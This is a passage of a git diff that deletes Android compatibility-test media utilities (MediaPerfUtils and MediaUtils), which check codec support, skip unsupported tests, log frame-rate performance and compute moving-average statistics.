-    private static final String TAG = "MediaPerfUtils";
-
-    private static final int MOVING_AVERAGE_NUM_FRAMES = 10;
-    private static final int MOVING_AVERAGE_WINDOW_MS = 1000;
-
-    // allow a variance of 2x for measured frame rates (e.g. half of lower-limit to double of
-    // upper-limit of the published values). Also allow an extra 10% margin. This also acts as
-    // a limit for the size of the published rates (e.g. upper-limit / lower-limit <= tolerance).
-    private static final double FRAMERATE_TOLERANCE = 2.0 * 1.1;
-
-    /*
-     *  ------------------ HELPER METHODS FOR ACHIEVABLE FRAME RATES ------------------
-     */
-
-    /** removes brackets from format to be included in JSON. */
-    private static String formatForReport(MediaFormat format) {
-        String asString = "" + format;
-        return asString.substring(1, asString.length() - 1);
-    }
-
-    /**
-     * Adds performance header info to |log| for |codecName|, |round|, |configFormat|, |inputFormat|
-     * and |outputFormat|. Also appends same to |message| and returns the resulting base message
-     * for logging purposes.
-     */
-    public static String addPerformanceHeadersToLog(
-            DeviceReportLog log, String message, int round, String codecName,
-            MediaFormat configFormat, MediaFormat inputFormat, MediaFormat outputFormat) {
-        String mime = configFormat.getString(MediaFormat.KEY_MIME);
-        int width = configFormat.getInteger(MediaFormat.KEY_WIDTH);
-        int height = configFormat.getInteger(MediaFormat.KEY_HEIGHT);
-
-        log.addValue("round", round, ResultType.NEUTRAL, ResultUnit.NONE);
-        log.addValue("codec_name", codecName, ResultType.NEUTRAL, ResultUnit.NONE);
-        log.addValue("mime_type", mime, ResultType.NEUTRAL, ResultUnit.NONE);
-        log.addValue("width", width, ResultType.NEUTRAL, ResultUnit.NONE);
-        log.addValue("height", height, ResultType.NEUTRAL, ResultUnit.NONE);
-        log.addValue("config_format", formatForReport(configFormat),
-                ResultType.NEUTRAL, ResultUnit.NONE);
-        log.addValue("input_format", formatForReport(inputFormat),
-                ResultType.NEUTRAL, ResultUnit.NONE);
-        log.addValue("output_format", formatForReport(outputFormat),
-                ResultType.NEUTRAL, ResultUnit.NONE);
-
-        message += " codec=" + codecName + " round=" + round + " configFormat=" + configFormat
-                + " inputFormat=" + inputFormat + " outputFormat=" + outputFormat;
-
-        Range<Double> reported =
-            MediaUtils.getVideoCapabilities(codecName, mime)
-                    .getAchievableFrameRatesFor(width, height);
-        if (reported != null) {
-            log.addValue("reported_low", reported.getLower(), ResultType.NEUTRAL, ResultUnit.FPS);
-            log.addValue("reported_high", reported.getUpper(), ResultType.NEUTRAL, ResultUnit.FPS);
-            message += " reported=" + reported.getLower() + "-" + reported.getUpper();
-        }
-
-        return message;
-    }
-
-    /**
-     * Adds performance statistics based on the raw |stats| to |log|. Also prints the same into
-     * logcat. Returns the "final fps" value.
-     */
-    public static double addPerformanceStatsToLog(
-            DeviceReportLog log, MediaUtils.Stats durationsUsStats, String message) {
-
-        MediaUtils.Stats frameAvgUsStats =
-            durationsUsStats.movingAverage(MOVING_AVERAGE_NUM_FRAMES);
-        log.addValue(
-                "window_frames", MOVING_AVERAGE_NUM_FRAMES, ResultType.NEUTRAL, ResultUnit.COUNT);
-        logPerformanceStats(log, frameAvgUsStats, "frame_avg_stats",
-                message + " window=" + MOVING_AVERAGE_NUM_FRAMES);
-
-        MediaUtils.Stats timeAvgUsStats =
-            durationsUsStats.movingAverageOverSum(MOVING_AVERAGE_WINDOW_MS * 1000);
-        log.addValue("window_time", MOVING_AVERAGE_WINDOW_MS, ResultType.NEUTRAL, ResultUnit.MS);
-        double fps = logPerformanceStats(log, timeAvgUsStats, "time_avg_stats",
-                message + " windowMs=" + MOVING_AVERAGE_WINDOW_MS);
-
-        log.setSummary("fps", fps, ResultType.HIGHER_BETTER, ResultUnit.FPS);
-        return fps;
-    }
-
-    /**
-     * Adds performance statistics based on the processed |stats| to |log| using |prefix|.
-     * Also prints the same into logcat using |message| as the base message. Returns the fps value
-     * for |stats|. |prefix| must be lowercase alphanumeric underscored format.
-     */
-    private static double logPerformanceStats(
-            DeviceReportLog log, MediaUtils.Stats statsUs, String prefix, String message) {
-        final String[] labels = {
-            "min", "p5", "p10", "p20", "p30", "p40", "p50", "p60", "p70", "p80", "p90", "p95", "max"
-        };
-        final double[] points = {
-             0,     5,    10,    20,    30,    40,    50,    60,    70,    80,    90,    95,    100
-        };
-
-        int num = statsUs.getNum();
-        long avg = Math.round(statsUs.getAverage());
-        long stdev = Math.round(statsUs.getStdev());
-        log.addValue(prefix + "_num", num, ResultType.NEUTRAL, ResultUnit.COUNT);
-        log.addValue(prefix + "_avg", avg / 1000., ResultType.LOWER_BETTER, ResultUnit.MS);
-        log.addValue(prefix + "_stdev", stdev / 1000., ResultType.LOWER_BETTER, ResultUnit.MS);
-        message += " num=" + num + " avg=" + avg + " stdev=" + stdev;
-        final double[] percentiles = statsUs.getPercentiles(points);
-        for (int i = 0; i < labels.length; ++i) {
-            long p = Math.round(percentiles[i]);
-            message += " " + labels[i] + "=" + p;
-            log.addValue(prefix + "_" + labels[i], p / 1000., ResultType.NEUTRAL, ResultUnit.MS);
-        }
-
-        // print result to logcat in case test aborts before logs are written
-        Log.i(TAG, message);
-
-        return 1e6 / percentiles[points.length - 2];
-    }
-
-    /** Verifies |measuredFps| against reported achievable rates. Returns null if at least
-     *  one measurement falls within the margins of the reported range. Otherwise, returns
-     *  an error message to display.*/
-    public static String verifyAchievableFrameRates(
-            String name, String mime, int w, int h, double... measuredFps) {
-        Range<Double> reported =
-            MediaUtils.getVideoCapabilities(name, mime).getAchievableFrameRatesFor(w, h);
-        String kind = "achievable frame rates for " + name + " " + mime + " " + w + "x" + h;
-        if (reported == null) {
-            return "Failed to get " + kind;
-        }
-        double lowerBoundary1 = reported.getLower() / FRAMERATE_TOLERANCE;
-        double upperBoundary1 = reported.getUpper() * FRAMERATE_TOLERANCE;
-        double lowerBoundary2 = reported.getUpper() / Math.pow(FRAMERATE_TOLERANCE, 2);
-        double upperBoundary2 = reported.getLower() * Math.pow(FRAMERATE_TOLERANCE, 2);
-        Log.d(TAG, name + " " + mime + " " + w + "x" + h +
-                " lowerBoundary1 " + lowerBoundary1 + " upperBoundary1 " + upperBoundary1 +
-                " lowerBoundary2 " + lowerBoundary2 + " upperBoundary2 " + upperBoundary2 +
-                " measured " + Arrays.toString(measuredFps));
-
-        for (double measured : measuredFps) {
-            if (measured >= lowerBoundary1 && measured <= upperBoundary1
-                    && measured >= lowerBoundary2 && measured <= upperBoundary2) {
-                return null;
-            }
-        }
-
-        return "Expected " + kind + ": " + reported + ".\n"
-                + "Measured frame rate: " + Arrays.toString(measuredFps) + ".\n";
-    }
-}
diff --git a/libs/deviceutil/src/android/cts/util/MediaUtils.java b/libs/deviceutil/src/android/cts/util/MediaUtils.java
deleted file mode 100644
index 56868a5..0000000
--- a/libs/deviceutil/src/android/cts/util/MediaUtils.java
+++ /dev/null
@@ -1,880 +0,0 @@
-/*
- * Copyright 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.util;
-
-import android.content.Context;
-import android.content.res.AssetFileDescriptor;
-import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecInfo.CodecCapabilities;
-import android.media.MediaCodecInfo.VideoCapabilities;
-import android.media.MediaCodecList;
-import android.media.MediaExtractor;
-import android.media.MediaFormat;
-import android.net.Uri;
-import android.util.Log;
-import android.util.Range;
-
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-
-import java.lang.reflect.Method;
-import static java.lang.reflect.Modifier.isPublic;
-import static java.lang.reflect.Modifier.isStatic;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Map;
-
-import static junit.framework.Assert.assertTrue;
-
-import java.io.IOException;
-
-public class MediaUtils {
-    private static final String TAG = "MediaUtils";
-
-    /*
-     *  ----------------------- HELPER METHODS FOR SKIPPING TESTS -----------------------
-     */
-    private static final int ALL_AV_TRACKS = -1;
-
-    private static final MediaCodecList sMCL = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-
-    /**
-     * Returns the test name (heuristically).
-     *
-     * Since it uses heuristics, this method has only been verified for media
-     * tests. This centralizes the way to signal errors during a test.
-     */
-    public static String getTestName() {
-        return getTestName(false /* withClass */);
-    }
-
-    /**
-     * Returns the test name with the full class (heuristically).
-     *
-     * Since it uses heuristics, this method has only been verified for media
-     * tests. This centralizes the way to signal errors during a test.
-     */
-    public static String getTestNameWithClass() {
-        return getTestName(true /* withClass */);
-    }
-
-    private static String getTestName(boolean withClass) {
-        int bestScore = -1;
-        String testName = "test???";
-        Map<Thread, StackTraceElement[]> traces = Thread.getAllStackTraces();
-        for (Map.Entry<Thread, StackTraceElement[]> entry : traces.entrySet()) {
-            StackTraceElement[] stack = entry.getValue();
-            for (int index = 0; index < stack.length; ++index) {
-                // method name must start with "test"
-                String methodName = stack[index].getMethodName();
-                if (!methodName.startsWith("test")) {
-                    continue;
-                }
-
-                int score = 0;
-                // see if there is a public non-static void method that takes no argument
-                Class<?> clazz;
-                try {
-                    clazz = Class.forName(stack[index].getClassName());
-                    ++score;
-                    for (final Method method : clazz.getDeclaredMethods()) {
-                        if (method.getName().equals(methodName)
-                                && isPublic(method.getModifiers())
-                                && !isStatic(method.getModifiers())
-                                && method.getParameterTypes().length == 0
-                                && method.getReturnType().equals(Void.TYPE)) {
-                            ++score;
-                            break;
-                        }
-                    }
-                    if (score == 1) {
-                        // if we could read the class, but method is not public void, it is
-                        // not a candidate
-                        continue;
-                    }
-                } catch (ClassNotFoundException e) {
-                }
-
-                // even if we cannot verify the method signature, there are signals in the stack
-
-                // usually test method is invoked by reflection
-                int depth = 1;
-                while (index + depth < stack.length
-                        && stack[index + depth].getMethodName().equals("invoke")
-                        && stack[index + depth].getClassName().equals(
-                                "java.lang.reflect.Method")) {
-                    ++depth;
-                }
-                if (depth > 1) {
-                    ++score;
-                    // and usually test method is run by runMethod method in android.test package
-                    if (index + depth < stack.length) {
-                        if (stack[index + depth].getClassName().startsWith("android.test.")) {
-                            ++score;
-                        }
-                        if (stack[index + depth].getMethodName().equals("runMethod")) {
-                            ++score;
-                        }
-                    }
-                }
-
-                if (score > bestScore) {
-                    bestScore = score;
-                    testName = methodName;
-                    if (withClass) {
-                        testName = stack[index].getClassName() + "." + testName;
-                    }
-                }
-            }
-        }
-        return testName;
-    }
-
-    /**
-     * Finds test name (heuristically) and prints out standard skip message.
-     *
-     * Since it uses heuristics, this method has only been verified for media
-     * tests. This centralizes the way to signal a skipped test.
-     */
-    public static void skipTest(String tag, String reason) {
-        Log.i(tag, "SKIPPING " + getTestName() + "(): " + reason);
-        DeviceReportLog log = new DeviceReportLog("CtsMediaSkippedTests", "test_skipped");
-        try {
-            log.addValue("reason", reason, ResultType.NEUTRAL, ResultUnit.NONE);
-            log.addValue(
-                    "test", getTestNameWithClass(), ResultType.NEUTRAL, ResultUnit.NONE);
-            log.submit();
-        } catch (NullPointerException e) { }
-    }
-
-    /**
-     * Finds test name (heuristically) and prints out standard skip message.
-     *
-     * Since it uses heuristics, this method has only been verified for media
-     * tests.  This centralizes the way to signal a skipped test.
-     */
-    public static void skipTest(String reason) {
-        skipTest(TAG, reason);
-    }
-
-    public static boolean check(boolean result, String message) {
-        if (!result) {
-            skipTest(message);
-        }
-        return result;
-    }
-
-    /*
-     *  ------------------- HELPER METHODS FOR CHECKING CODEC SUPPORT -------------------
-     */
-
-    // returns the list of codecs that support any one of the formats
-    private static String[] getCodecNames(
-            boolean isEncoder, Boolean isGoog, MediaFormat... formats) {
-        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-        ArrayList<String> result = new ArrayList<>();
-        for (MediaCodecInfo info : mcl.getCodecInfos()) {
-            if (info.isEncoder() != isEncoder) {
-                continue;
-            }
-            if (isGoog != null
-                    && info.getName().toLowerCase().startsWith("omx.google.") != isGoog) {
-                continue;
-            }
-
-            for (MediaFormat format : formats) {
-                String mime = format.getString(MediaFormat.KEY_MIME);
-
-                CodecCapabilities caps = null;
-                try {
-                    caps = info.getCapabilitiesForType(mime);
-                } catch (IllegalArgumentException e) {  // mime is not supported
-                    continue;
-                }
-                if (caps.isFormatSupported(format)) {
-                    result.add(info.getName());
-                    break;
-                }
-            }
-        }
-        return result.toArray(new String[result.size()]);
-    }
-
-    /* Use isGoog = null to query all decoders */
-    public static String[] getDecoderNames(/* Nullable */ Boolean isGoog, MediaFormat... formats) {
-        return getCodecNames(false /* isEncoder */, isGoog, formats);
-    }
-
-    public static String[] getDecoderNames(MediaFormat... formats) {
-        return getCodecNames(false /* isEncoder */, null /* isGoog */, formats);
-    }
-
-    /* Use isGoog = null to query all decoders */
-    public static String[] getEncoderNames(/* Nullable */ Boolean isGoog, MediaFormat... formats) {
-        return getCodecNames(true /* isEncoder */, isGoog, formats);
-    }
-
-    public static String[] getEncoderNames(MediaFormat... formats) {
-        return getCodecNames(true /* isEncoder */, null /* isGoog */, formats);
-    }
-
-    public static void verifyNumCodecs(
-            int count, boolean isEncoder, Boolean isGoog, MediaFormat... formats) {
-        String desc = (isEncoder ? "encoders" : "decoders") + " for "
-                + (formats.length == 1 ? formats[0].toString() : Arrays.toString(formats));
-        if (isGoog != null) {
-            desc = (isGoog ? "Google " : "non-Google ") + desc;
-        }
-
-        String[] codecs = getCodecNames(isEncoder, isGoog, formats);
-        assertTrue("test can only verify " + count + " " + desc + "; found " + codecs.length + ": "
-                + Arrays.toString(codecs), codecs.length <= count);
-    }
-
-    public static MediaCodec getDecoder(MediaFormat format) {
-        String decoder = sMCL.findDecoderForFormat(format);
-        if (decoder != null) {
-            try {
-                return MediaCodec.createByCodecName(decoder);
-            } catch (IOException e) {
-            }
-        }
-        return null;
-    }
-
-    public static boolean canEncode(MediaFormat format) {
-        if (sMCL.findEncoderForFormat(format) == null) {
-            Log.i(TAG, "no encoder for " + format);
-            return false;
-        }
-        return true;
-    }
-
-    public static boolean canDecode(MediaFormat format) {
-        if (sMCL.findDecoderForFormat(format) == null) {
-            Log.i(TAG, "no decoder for " + format);
-            return false;
-        }
-        return true;
-    }
-
-    public static boolean supports(String codecName, String mime, int w, int h) {
-        // While this could be simply written as such, give more graceful feedback.
-        // MediaFormat format = MediaFormat.createVideoFormat(mime, w, h);
-        // return supports(codecName, format);
-
-        VideoCapabilities vidCap = getVideoCapabilities(codecName, mime);
-        if (vidCap == null) {
-            return false;
-        } else if (vidCap.isSizeSupported(w, h)) {
-            return true;
-        }
-
-        Log.w(TAG, "unsupported size " + w + "x" + h);
-        return false;
-    }
-
-    public static boolean supports(String codecName, MediaFormat format) {
-        MediaCodec codec;
-        try {
-            codec = MediaCodec.createByCodecName(codecName);
-        } catch (IOException e) {
-            Log.w(TAG, "codec not found: " + codecName);
-            return false;
-        }
-
-        String mime = format.getString(MediaFormat.KEY_MIME);
-        CodecCapabilities cap = null;
-        try {
-            cap = codec.getCodecInfo().getCapabilitiesForType(mime);
-            return cap.isFormatSupported(format);
-        } catch (IllegalArgumentException e) {
-            Log.w(TAG, "not supported mime: " + mime);
-            return false;
-        } finally {
-            codec.release();
-        }
-    }
-
-    public static boolean hasCodecForTrack(MediaExtractor ex, int track) {
-        int count = ex.getTrackCount();
-        if (track < 0 || track >= count) {
-            throw new IndexOutOfBoundsException(track + " not in [0.." + (count - 1) + "]");
-        }
-        return canDecode(ex.getTrackFormat(track));
-    }
-
-    /**
-     * return true iff all audio and video tracks are supported
-     */
-    public static boolean hasCodecsForMedia(MediaExtractor ex) {
-        for (int i = 0; i < ex.getTrackCount(); ++i) {
-            MediaFormat format = ex.getTrackFormat(i);
-            // only check for audio and video codecs
-            String mime = format.getString(MediaFormat.KEY_MIME).toLowerCase();
-            if (!mime.startsWith("audio/") && !mime.startsWith("video/")) {
-                continue;
-            }
-            if (!canDecode(format)) {
-                return false;
-            }
-        }
-        return true;
-    }
-
-    /**
-     * return true iff any track starting with mimePrefix is supported
-     */
-    public static boolean hasCodecForMediaAndDomain(MediaExtractor ex, String mimePrefix) {
-        mimePrefix = mimePrefix.toLowerCase();
-        for (int i = 0; i < ex.getTrackCount(); ++i) {
-            MediaFormat format = ex.getTrackFormat(i);
-            String mime = format.getString(MediaFormat.KEY_MIME);
-            if (mime.toLowerCase().startsWith(mimePrefix)) {
-                if (canDecode(format)) {
-                    return true;
-                }
-                Log.i(TAG, "no decoder for " + format);
-            }
-        }
-        return false;
-    }
-
-    private static boolean hasCodecsForResourceCombo(
-            Context context, int resourceId, int track, String mimePrefix) {
-        try {
-            AssetFileDescriptor afd = null;
-            MediaExtractor ex = null;
-            try {
-                afd = context.getResources().openRawResourceFd(resourceId);
-                ex = new MediaExtractor();
-                ex.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
-                if (mimePrefix != null) {
-                    return hasCodecForMediaAndDomain(ex, mimePrefix);
-                } else if (track == ALL_AV_TRACKS) {
-                    return hasCodecsForMedia(ex);
-                } else {
-                    return hasCodecForTrack(ex, track);
-                }
-            } finally {
-                if (ex != null) {
-                    ex.release();
-                }
-                if (afd != null) {
-                    afd.close();
-                }
-            }
-        } catch (IOException e) {
-            Log.i(TAG, "could not open resource");
-        }
-        return false;
-    }
-
-    /**
-     * return true iff all audio and video tracks are supported
-     */
-    public static boolean hasCodecsForResource(Context context, int resourceId) {
-        return hasCodecsForResourceCombo(context, resourceId, ALL_AV_TRACKS, null /* mimePrefix */);
-    }
-
-    public static boolean checkCodecsForResource(Context context, int resourceId) {
-        return check(hasCodecsForResource(context, resourceId), "no decoder found");
-    }
-
-    /**
-     * return true iff track is supported.
-     */
-    public static boolean hasCodecForResource(Context context, int resourceId, int track) {
-        return hasCodecsForResourceCombo(context, resourceId, track, null /* mimePrefix */);
-    }
-
-    public static boolean checkCodecForResource(Context context, int resourceId, int track) {
-        return check(hasCodecForResource(context, resourceId, track), "no decoder found");
-    }
-
-    /**
-     * return true iff any track starting with mimePrefix is supported
-     */
-    public static boolean hasCodecForResourceAndDomain(
-            Context context, int resourceId, String mimePrefix) {
-        return hasCodecsForResourceCombo(context, resourceId, ALL_AV_TRACKS, mimePrefix);
-    }
-
-    /**
-     * return true iff all audio and video tracks are supported
-     */
-    public static boolean hasCodecsForPath(Context context, String path) {
-        MediaExtractor ex = null;
-        try {
-            ex = new MediaExtractor();
-            Uri uri = Uri.parse(path);
-            String scheme = uri.getScheme();
-            if (scheme == null) { // file
-                ex.setDataSource(path);
-            } else if (scheme.equalsIgnoreCase("file")) {
-                ex.setDataSource(uri.getPath());
-            } else {
-                ex.setDataSource(context, uri, null);
-            }
-            return hasCodecsForMedia(ex);
-        } catch (IOException e) {
-            Log.i(TAG, "could not open path " + path);
-        } finally {
-            if (ex != null) {
-                ex.release();
-            }
-        }
-        return true;
-    }
-
-    public static boolean checkCodecsForPath(Context context, String path) {
-        return check(hasCodecsForPath(context, path), "no decoder found");
-    }
-
-    public static boolean hasCodecForDomain(boolean encoder, String domain) {
-        for (MediaCodecInfo info : sMCL.getCodecInfos()) {
-            if (encoder != info.isEncoder()) {
-                continue;
-            }
-
-            for (String type : info.getSupportedTypes()) {
-                if (type.toLowerCase().startsWith(domain.toLowerCase() + "/")) {
-                    Log.i(TAG, "found codec " + info.getName() + " for mime " + type);
-                    return true;
-                }
-            }
-        }
-        return false;
-    }
-
-    public static boolean checkCodecForDomain(boolean encoder, String domain) {
-        return check(hasCodecForDomain(encoder, domain),
-                "no " + domain + (encoder ? " encoder" : " decoder") + " found");
-    }
-
-    private static boolean hasCodecForMime(boolean encoder, String mime) {
-        for (MediaCodecInfo info : sMCL.getCodecInfos()) {
-            if (encoder != info.isEncoder()) {
-                continue;
-            }
-
-            for (String type : info.getSupportedTypes()) {
-                if (type.equalsIgnoreCase(mime)) {
-                    Log.i(TAG, "found codec " + info.getName() + " for mime " + mime);
-                    return true;
-                }
-            }
-        }
-        return false;
-    }
-
-    private static boolean hasCodecForMimes(boolean encoder, String[] mimes) {
-        for (String mime : mimes) {
-            if (!hasCodecForMime(encoder, mime)) {
-                Log.i(TAG, "no " + (encoder ? "encoder" : "decoder") + " for mime " + mime);
-                return false;
-            }
-        }
-        return true;
-    }
-
-
-    public static boolean hasEncoder(String... mimes) {
-        return hasCodecForMimes(true /* encoder */, mimes);
-    }
-
-    public static boolean hasDecoder(String... mimes) {
-        return hasCodecForMimes(false /* encoder */, mimes);
-    }
-
-    public static boolean checkDecoder(String... mimes) {
-        return check(hasCodecForMimes(false /* encoder */, mimes), "no decoder found");
-    }
-
-    public static boolean checkEncoder(String... mimes) {
-        return check(hasCodecForMimes(true /* encoder */, mimes), "no encoder found");
-    }
-
-    public static boolean canDecodeVideo(String mime, int width, int height, float rate) {
-        MediaFormat format = MediaFormat.createVideoFormat(mime, width, height);
-        format.setFloat(MediaFormat.KEY_FRAME_RATE, rate);
-        return canDecode(format);
-    }
-
-    public static boolean canDecodeVideo(
-            String mime, int width, int height, float rate,
-            Integer profile, Integer level, Integer bitrate) {
-        MediaFormat format = MediaFormat.createVideoFormat(mime, width, height);
-        format.setFloat(MediaFormat.KEY_FRAME_RATE, rate);
-        if (profile != null) {
-            format.setInteger(MediaFormat.KEY_PROFILE, profile);
-            if (level != null) {
-                format.setInteger(MediaFormat.KEY_LEVEL, level);
-            }
-        }
-        if (bitrate != null) {
-            format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
-        }
-        return canDecode(format);
-    }
-
-    public static boolean checkEncoderForFormat(MediaFormat format) {
-        return check(canEncode(format), "no encoder for " + format);
-    }
-
-    public static boolean checkDecoderForFormat(MediaFormat format) {
-        return check(canDecode(format), "no decoder for " + format);
-    }
-
-    /*
-     *  ----------------------- HELPER METHODS FOR MEDIA HANDLING -----------------------
-     */
-
-    public static VideoCapabilities getVideoCapabilities(String codecName, String mime) {
-        for (MediaCodecInfo info : sMCL.getCodecInfos()) {
-            if (!info.getName().equalsIgnoreCase(codecName)) {
-                continue;
-            }
-            CodecCapabilities caps;
-            try {
-                caps = info.getCapabilitiesForType(mime);
-            } catch (IllegalArgumentException e) {
-                // mime is not supported
-                Log.w(TAG, "not supported mime: " + mime);
-                return null;
-            }
-            VideoCapabilities vidCaps = caps.getVideoCapabilities();
-            if (vidCaps == null) {
-                Log.w(TAG, "not a video codec: " + codecName);
-            }
-            return vidCaps;
-        }
-        Log.w(TAG, "codec not found: " + codecName);
-        return null;
-    }
-
-    public static MediaFormat getTrackFormatForResource(
-            Context context, int resourceId, String mimeTypePrefix)
-            throws IOException {
-        MediaFormat format = null;
-        MediaExtractor extractor = new MediaExtractor();
-        AssetFileDescriptor afd = context.getResources().openRawResourceFd(resourceId);
-        try {
-            extractor.setDataSource(
-                    afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
-        } finally {
-            afd.close();
-        }
-        int trackIndex;
-        for (trackIndex = 0; trackIndex < extractor.getTrackCount(); trackIndex++) {
-            MediaFormat trackMediaFormat = extractor.getTrackFormat(trackIndex);
-            if (trackMediaFormat.getString(MediaFormat.KEY_MIME).startsWith(mimeTypePrefix)) {
-                format = trackMediaFormat;
-                break;
-            }
-        }
-        extractor.release();
-        afd.close();
-        if (format == null) {
-            throw new RuntimeException("couldn't get a track for " + mimeTypePrefix);
-        }
-
-        return format;
-    }
-
-    public static MediaExtractor createMediaExtractorForMimeType(
-            Context context, int resourceId, String mimeTypePrefix)
-            throws IOException {
-        MediaExtractor extractor = new MediaExtractor();
-        AssetFileDescriptor afd = context.getResources().openRawResourceFd(resourceId);
-        try {
-            extractor.setDataSource(
-                    afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
-        } finally {
-            afd.close();
-        }
-        int trackIndex;
-        for (trackIndex = 0; trackIndex < extractor.getTrackCount(); trackIndex++) {
-            MediaFormat trackMediaFormat = extractor.getTrackFormat(trackIndex);
-            if (trackMediaFormat.getString(MediaFormat.KEY_MIME).startsWith(mimeTypePrefix)) {
-                extractor.selectTrack(trackIndex);
-                break;
-            }
-        }
-        if (trackIndex == extractor.getTrackCount()) {
-            extractor.release();
-            throw new IllegalStateException("couldn't get a track for " + mimeTypePrefix);
-        }
-
-        return extractor;
-    }
-
-    /*
-     *  ---------------------- HELPER METHODS FOR CODEC CONFIGURATION
-     */
-
-    /** Format must contain mime, width and height.
-     *  Throws Exception if encoder does not support this width and height */
-    public static void setMaxEncoderFrameAndBitrates(
-            MediaCodec encoder, MediaFormat format, int maxFps) {
-        String mime = format.getString(MediaFormat.KEY_MIME);
-
-        VideoCapabilities vidCaps =
-            encoder.getCodecInfo().getCapabilitiesForType(mime).getVideoCapabilities();
-        setMaxEncoderFrameAndBitrates(vidCaps, format, maxFps);
-    }
-
-    public static void setMaxEncoderFrameAndBitrates(
-            VideoCapabilities vidCaps, MediaFormat format, int maxFps) {
-        int width = format.getInteger(MediaFormat.KEY_WIDTH);
-        int height = format.getInteger(MediaFormat.KEY_HEIGHT);
-
-        int maxWidth = vidCaps.getSupportedWidths().getUpper();
-        int maxHeight = vidCaps.getSupportedHeightsFor(maxWidth).getUpper();
-        int frameRate = Math.min(
-                maxFps, vidCaps.getSupportedFrameRatesFor(width, height).getUpper().intValue());
-        format.setInteger(MediaFormat.KEY_FRAME_RATE, frameRate);
-
-        int bitrate = vidCaps.getBitrateRange().clamp(
-            (int)(vidCaps.getBitrateRange().getUpper() /
-                  Math.sqrt((double)maxWidth * maxHeight / width / height)));
-        format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
-    }
-
-    /*
-     *  ------------------ HELPER METHODS FOR STATISTICS AND REPORTING ------------------
-     */
-
-    // TODO: migrate this into com.android.compatibility.common.util.Stat
-    public static class Stats {
-        /** does not support NaN or Inf in |data| */
-        public Stats(double[] data) {
-            mData = data;
-            if (mData != null) {
-                mNum = mData.length;
-            }
-        }
-
-        public int getNum() {
-            return mNum;
-        }
-
-        /** calculate mSumX and mSumXX */
-        private void analyze() {
-            if (mAnalyzed) {
-                return;
-            }
-
-            if (mData != null) {
-                for (double x : mData) {
-                    if (!(x >= mMinX)) { // mMinX may be NaN
-                        mMinX = x;
-                    }
-                    if (!(x <= mMaxX)) { // mMaxX may be NaN
-                        mMaxX = x;
-                    }
-                    mSumX += x;
-                    mSumXX += x * x;
-                }
-            }
-            mAnalyzed = true;
-        }
-
-        /** returns the maximum or NaN if it does not exist */
-        public double getMin() {
-            analyze();
-            return mMinX;
-        }
-
-        /** returns the minimum or NaN if it does not exist */
-        public double getMax() {
-            analyze();
-            return mMaxX;
-        }
-
-        /** returns the average or NaN if it does not exist. */
-        public double getAverage() {
-            analyze();
-            if (mNum == 0) {
-                return Double.NaN;
-            } else {
-                return mSumX / mNum;
-            }
-        }
-
-        /** returns the standard deviation or NaN if it does not exist. */
-        public double getStdev() {
-            analyze();
-            if (mNum == 0) {
-                return Double.NaN;
-            } else {
-                double average = mSumX / mNum;
-                return Math.sqrt(mSumXX / mNum - average * average);
-            }
-        }
-
-        /** returns the statistics for the moving average over n values */
-        public Stats movingAverage(int n) {
-            if (n < 1 || mNum < n) {
-                return new Stats(null);
-            } else if (n == 1) {
-                return this;
-            }
-
-            double[] avgs = new double[mNum - n + 1];
-            double sum = 0;
-            for (int i = 0; i < mNum; ++i) {
-                sum += mData[i];
-                if (i >= n - 1) {
-                    avgs[i - n + 1] = sum / n;
-                    sum -= mData[i - n + 1];
-                }
-            }
-            return new Stats(avgs);
-        }
-
-        /** returns the statistics for the moving average over a window over the
-         *  cumulative sum. Basically, moves a window from: [0, window] to
-         *  [sum - window, sum] over the cumulative sum, over ((sum - window) / average)
-         *  steps, and returns the average value over each window.
-         *  This method is used to average time-diff data over a window of a constant time.
-         */
-        public Stats movingAverageOverSum(double window) {
-            if (window <= 0 || mNum < 1) {
-                return new Stats(null);
-            }
-
-            analyze();
-            double average = mSumX / mNum;
-            if (window >= mSumX) {
-                return new Stats(new double[] { average });
-            }
-            int samples = (int)Math.ceil((mSumX - window) / average);
-            double[] avgs = new double[samples];
-
-            // A somewhat brute force approach to calculating the moving average.
-            // TODO: add support for weights in Stats, so we can do a more refined approach.
-            double sum = 0; // sum of elements in the window
-            int num = 0; // number of elements in the moving window
-            int bi = 0; // index of the first element in the moving window
-            int ei = 0; // index of the last element in the moving window
-            double space = window; // space at the end of the window
-            double foot = 0; // space at the beginning of the window
-
-            // invariants: foot + sum + space == window
-            //             bi + num == ei
-            //
-            //  window:             |-------------------------------|
-            //                      |    <-----sum------>           |
-            //                      <foot>               <---space-->
-            //                           |               |
-            //  intervals:   |-----------|-------|-------|--------------------|--------|
-            //                           ^bi             ^ei
-
-            int ix = 0; // index in the result
-            while (ix < samples) {
-                // add intervals while there is space in the window
-                while (ei < mData.length && mData[ei] <= space) {
-                    space -= mData[ei];
-                    sum += mData[ei];
-                    num++;
-                    ei++;
-                }
-
-                // calculate average over window and deal with odds and ends (e.g. if there are no
-                // intervals in the current window: pick whichever element overlaps the window
-                // most.
-                if (num > 0) {
-                    avgs[ix++] = sum / num;
-                } else if (bi > 0 && foot > space) {
-                    // consider previous
-                    avgs[ix++] = mData[bi - 1];
-                } else if (ei == mData.length) {
-                    break;
-                } else {
-                    avgs[ix++] = mData[ei];
-                }
-
-                // move the window to the next position
-                foot -= average;
-                space += average;
-
-                // remove intervals that are now partially or wholly outside of the window
-                while (bi < ei && foot < 0) {
-                    foot += mData[bi];
-                    sum -= mData[bi];
-                    num--;
-                    bi++;
-                }
-            }
